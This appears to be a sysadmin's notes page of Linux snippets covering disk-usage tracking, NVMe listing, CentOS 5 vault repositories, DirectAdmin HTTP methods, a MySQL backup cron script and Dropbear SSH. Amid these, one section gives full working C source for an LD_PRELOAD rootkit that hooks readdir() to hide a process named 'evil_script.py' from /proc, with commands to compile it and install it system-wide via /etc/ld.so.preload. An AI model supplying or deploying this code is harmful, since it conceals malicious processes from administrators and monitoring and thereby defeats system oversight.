linux find disk usage grow

lsof / > lsof_1.txt; sleep 15; lsof / > lsof_2.txt; sdiff -w250 lsof_1.txt lsof_2.txt > lsof_difference.txt; cat lsof_difference.txt | egrep '\||<|>'

This can take long:
touch new_file
find / -newer new_file -not -path "/proc/*" -exec ls -lh {} \;

Or just using iotop this way, monitor online:
iotop -Pbktoqqq -d 3

linux find nvme model

yum install nvme-cli
nvme list

Node SN Model Namespace Usage Format FW Rev
—————- ——————– —————————————- ——— ————————– —————- ——–
/dev/nvme0n1 18IB50NWKT7S KXG50ZNV512G TOSHIBA 1 512.11 GB / 512.11 GB 512 B + 0 B AAGA4102
/dev/nvme1n1 18IB50L6KT7S KXG50ZNV512G TOSHIBA 1 512.11 GB / 512.11 GB 512 B + 0 B AAGA4102

YumRepo Error: All mirror URLs are not using ftp, http[s] or file.


If you still have Centos 5 running:

yum install openssh-clients
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
Eg. Invalid release/repo/arch combination/
removing mirrorlist with no valid mirrors: /var/cache/yum/base/mirrorlist.txt
Error: Cannot retrieve repository metadata (repomd.xml) for repository: base. Please verify its path and try again

uname -a
... i686 i686 i386 GNU/Linux
echo "http://vault.centos.org/5.11/os/i386/" > /var/cache/yum/base/mirrorlist.txt

if 64x
echo "http://vault.centos.org/5.11/os/x86_64/" > /var/cache/yum/base/mirrorlist.txt
Then you can yum install openssh-clients

Failed to load resource: the server responded with a status of 405 (Method Not Allowed)

[allowmethods:error] [pid 688212:tid 139871391713024] [client xx.xx.xx.xx:41682] AH01623: client method denied by server configuration: ‘PATCH’

this means server do not support PATCH, if this id directadmin server:

cd /usr/local/directadmin/custombuild
./build set http_methods GET:HEAD:POST:PUT:DELETE:PATCH
./build rewrite_confs

mysql daily backup 7 days


mkdir -vp /backups/databases
vi /some/path/make_db_back.sh

#!/bin/bash

week_day=`date +%u`
back_dir=/backups/databases/$week_day

if [ -d "$back_dir" ]; then
rm -rvf $back_dir
fi

mkdir $back_dir
mysql -s -e 'show databases' | egrep -v "mysql|information_schema|performance_schema" > /root/db_list
cat /root/db_list | while read db; do mysqldump -h localhost --single-transaction --events $db > $back_dir/$db.$(date +'%F').sql; sleep 5 ; done
gzip $back_dir/*.sql
rm -f /root/db_list

Run every day cron:

crontab -e
0 10 * * * /some/path/make_db_back.sh

modify the readdir() function inside libc and input the code to exclude the access to some /proc files

#define _GNU_SOURCE

#include
#include #include
#include
#include

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

Download

gcc -Wall -fPIC -shared -o some_name.so some_name.c -ldl
echo some_name.so >> /etc/ld.so.preload

Dropbear SSH

A small memory footprint suitable for memory-constrained environments – Dropbear can compile to a 110kB statically linked binary with uClibc on x86 (only minimal options selected)
Dropbear server implements X11 forwarding, and authentication-agent forwarding for OpenSSH clients
Can run from inetd or standalone
Compatible with OpenSSH ~/.ssh/authorized_keys public key authentication
The server, client, keygen, and key converter can be compiled into a single binary (like busybox)
Features can easily be disabled when compiling to save space
Multi-hop mode uses SSH TCP forwarding to tunnel through multiple SSH hosts in a single command. dbclient user1@hop1,user2@hop2,destination